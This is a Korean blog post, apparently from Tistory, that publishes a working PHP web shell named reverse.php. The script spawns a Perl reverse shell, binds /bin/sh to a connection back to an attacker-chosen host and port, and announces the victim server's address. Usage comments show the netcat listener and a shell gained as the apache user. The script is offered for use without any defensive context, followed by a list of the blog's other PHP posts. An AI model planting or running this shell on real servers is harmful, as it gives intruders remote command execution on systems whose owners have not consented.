티스토리 뷰
<?php
/*
+-----------------------------------+
| PHP + PERL Shell Binding |
| |
+-----------------------------------+
1. reverse.php (host default : $_SERVER[REMOTE_ADDR])
>>> http://xxxxxx.com/reverse.php?port=5555
>>> Connected >>> xxx.xxx.xxx.xxx:5555
or
>>> http://xxxxxx.com/reverse.php?host=xxx.xxx.xxx.xxx&port=5555
>>> Connected >>> xxx.xxx.xxx.xxx:5555
2. local or remote system
[root@bando ~]$ nc -l -p 5555
>>> victim : xxx.xxx.xxx.xxx
id
uid=48(apache) gid=48(apache) groups=48(apache)
*/
$host = ($_GET[host]) ? $_GET[host] : $_SERVER[REMOTE_ADDR];
$port = ($_GET[port]) ? $_GET[port] : 31337;
$victim = $_SERVER[SERVER_ADDR];
$v0zlt = "perl -e 'use Socket;socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || exit 1;if (!connect(SOCK, pack \"SnA4x8\", 2, $port, inet_aton(\"$host\"))) {exit 1;}if ( !fork() ) {send(SOCK,\">>> victim : $victim\n\",0);open(STDIN,\">&SOCK\");open(STDOUT,\">&SOCK\");open(STDERR,\">&SOCK\");system(\"/bin/sh\");exit(0);}print \"Connected >>> $host:$port\n\"' ";
system($v0zlt);
?>
'프로그래밍 > PHP' 카테고리의 다른 글
이미지 프로세싱 관련 유용한 클래스 - PHP (1) | 2011.11.02 |
---|---|
[PHP] 클래스 제작 예(기초) (0) | 2008.11.18 |
[PHP] 소켓 서버 및 클라이언트 참고용...(기본) (0) | 2008.08.20 |
[PHP - shm_attach] 공유메모리 관련 참고. (0) | 2008.08.13 |
php로 메일받아 파싱 하기 (0) | 2008.06.22 |
- Total
- Today
- Yesterday